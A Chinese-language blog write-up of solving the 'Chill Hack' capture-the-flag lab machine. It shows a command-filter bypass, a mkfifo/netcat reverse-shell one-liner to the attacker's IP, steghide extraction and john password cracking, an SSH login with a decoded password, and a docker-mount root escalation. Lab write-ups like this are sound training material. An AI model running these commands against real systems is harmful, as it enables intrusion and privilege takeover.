CTF之一次曲折获取Flag的过程
Hello各位朋友們,我是小杰,今天我們繼續CTF之旅。
好,直接步入正題,先看看這次的題目描述。
通過題目描述,是有一個什么鬼機器人,能和世界進行交流巴拉巴拉......初步確定是需要獲取兩個Flag,題目的關鍵字是“枚舉”。
好的,打開靶標系統~
映入眼簾的就是這個CHILL HACK的字樣,還有一個“骷髏頭”。下邊有一處登陸系統的地方。
?
很好,打開我們的“hack”機器——Kali2020。(這里為什么不用忍者系統一會兒說明。)
?
首先確定我們攻擊機的IP地址:192.168.187.130
?
進行網段掃描,確認靶機的IP為192.168.187.137
可以看到靶機系統開放了21、22、80三個端口。
我們先訪問80
瞅瞅~
?
界面花里胡哨的,隨便瀏覽了幾下發現是一個純靜態站點,搜索框什么的都是假的,似乎沒什么好利用的。
?
接下來去看看21端口。
嗯,有一個txt文件,打開看看
這里有一個叫“Apaar”的用戶給了這么一句提示,大概意思說“Anurodh”用戶說命令中會有一些過濾,可能和命令執行有關,這里先記下來,后面可能會用到
繼續瀏覽沒什么發現了,掃掃目錄看看。
這里看看有一個secret文件夾,我們去瀏覽器中查看一番。
是一個執行命令的地方。
結合我們之前得到的信息,命令執行會被過濾,這里應該就是讓我們繞過攔截了。
先執行幾下看看。
執行ls、cat、less、more等等命令都會彈出"Are you a hacker?"
經過多次嘗試,我發現執行tac可以繞過檢測。
tac index.php查看頁面源代碼
果然是有過濾,這里的代碼是把我們輸入的命令按照空格間隔開,之后進行匹配,這里直接命令執行繞過getshell。
我這里使用nc進行getshell。
Kali進行監聽。
nc -lvp 6666
靶機執行命令,反彈shell,
這里利用Linux下nc命令執行反彈shell的方式
ls;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.187.130 6666 > /tmp/f
nice,這里我們已經getshell,看看權限。
我們獲取的是用戶www-data的權限,等級較低,
考慮到后續的操作,這里進行提權。
?
剛剛在網頁中測試時,我們看到靶機上是裝有python的,所以這里使用python進行提權。
python3 -c "import pty;pty.spawn('/bin/bash')"
ok,提權成功,接下來瀏覽瀏覽目錄。看看能不能直接找到Flag
?
Flag沒找到,不過看到一個hacker.php的文件很可疑
黑客:你竟然已經走到這一步了!看著這片黑暗,你將會找到答案.......(出題的作者中二病犯了,有我當年風范)啊哈哈哈....
<html> <head> <body> <style> body {background-image: url('images/002d7e638fb463fb7a266f5ffc7ac47d.gif'); } h2 {color:red;font-weight: bold; } h1 {color: yellow;font-weight: bold; } </style> <center><img src = "images/hacker-with-laptop_23-2147985341.jpg"><br><h1 style="background-color:red;">You have reached this far. </h2><h1 style="background-color:black;">Look in the dark! You will find your answer</h1> </center> </head> </html>代碼中這個圖片的名字叫法外加神神叨叨的這段話,估計是CTF中的隱寫術了。
我淦!我不會隱寫術啊
?
網上查了查資料,貌似有一款隱寫的工具可以破解利用一下。
那就先下載到本地看看吧。
?
在靶機利用python啟動一個web服務器(在images目錄下啟動)
python3 -m http.server 8080
在Kali上進行下載
- ?
?
這里用到的隱寫破解工具是steghide
具體使用方法可以在官網查看http://steghide.sourceforge.net/
?
好,拿著工具干它一波
- ?
nice,提取出了圖片中隱藏的壓縮文件backup.zip
?
解壓縮,發現需要解壓密碼......
彳亍口巴,祭出神器——開膛手約翰(john)!
john是Sectools排行榜上前十的密碼破解工具,功能十分強大。
這里我也要順便說一下為啥這次不用忍者的原因,忍者上沒有集成john和steghide,再安裝的話過于耗費時間,還有就是忍者需要的電腦資源實在是太大了,16G內存的我有點吃不消
?
有的大佬會說hashcat也可以破解,忍者上是有hashcat的,不過我玩的不熟練,索性就直接kali一步到位了
?
好了,廢話不多說,繼續。
先生成hash文件。
zip2john backup.zip > backup.hash
john --wordlist=/usr/share/wordlists/rockyou.txt backup.hash john backup.hash --show使用john加載本地字典進行破解,這里破解成功,顯示密碼為pass1word
接下來進行文件解壓,查看解壓的文件內容:
<html> <head>Admin Portal </head><title> Site Under Development ... </title><body><form method="POST">Username: <input type="text" name="name" placeholder="username"><br><br>Email: <input type="email" name="email" placeholder="email"><br><br>Password: <input type="password" name="password" placeholder="password"><input type="submit" name="submit" value="Submit"> </form> <?phpif(isset($_POST['submit'])){$email = $_POST["email"];$password = $_POST["password"];if(base64_encode($password) == "IWQwbnRLbjB3bVlwQHNzdzByZA=="){ $random = rand(1000,9999);?><br><br><br><form method="POST">Enter the OTP: <input type="number" name="otp"><input type="submit" name="submitOtp" value="Submit"></form><?php mail($email,"OTP for authentication",$random);if(isset($_POST["submitOtp"])){$otp = $_POST["otp"];if($otp == $random){echo "Welcome Anurodh!";header("Location: authenticated.php");}else{echo "Invalid OTP";}}}else{echo "Invalid Username or Password";}} ?> </html>閱讀代碼,看到一處使用base64加密的地方,解密看一下。
解密得到密碼
?
!d0ntKn0wmYp@ssw0rd
登陸密碼拿到手了,開始找賬戶進行登陸,最終在home目錄下看到三個用戶
是不是很眼熟,前兩個用戶就是我們剛開始通過ftp獲得到的那個文本文件中的兩個用戶。
?
拿著我們剛剛獲取到的賬號密碼,嘗試ssh登陸,經測試發現anurodh是可以登陸的。
?
ssh anurodh@192.168.187.137?
使用sudo -l查看sudo的權限,發現可以使用apaar身份執行一個腳本文件
?
sudo -l?
繼續~
apaar目錄是可以進入的,不過里面的local.txt文件不可以讀取
?
查看執行權限,讀取隱藏文件helpline.sh
觀察發現,msg這個地方是存在命令執行的
我們可以切換到apaar身份去執行輸出local.txt的內容
果不其然,拿到了第一個Flag
?
ok,繼續。
查看anurodh用戶信息
?
發現有docker組
嘗試列出本地鏡像
?
docker images -a?
既然有本地docker鏡像,那就嘗試docker提權
?
docker run -v /:/mnt -it alpine?
提權成功,ok,繼續搜索關鍵文件
?
輸出proof.txt
?
Ohhhhh~~~
終于拿到了最終的Flag
?
小節:不容易,搞了近十個小時,前期由于攻擊平臺的工具版本問題,好幾處破解、提權的地方都莫名報錯,從kali2017逐個版本硬是換到kali2020才逐步把問題解決??戳司W上很多師傅的思路,也學習到了不少新姿勢
?
總結
以上是生活随笔為你收集整理的CTF之一次曲折获取Flag的过程的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 一个“登录框“引发的安全问题
- 下一篇: API数据安全知多少【知识篇】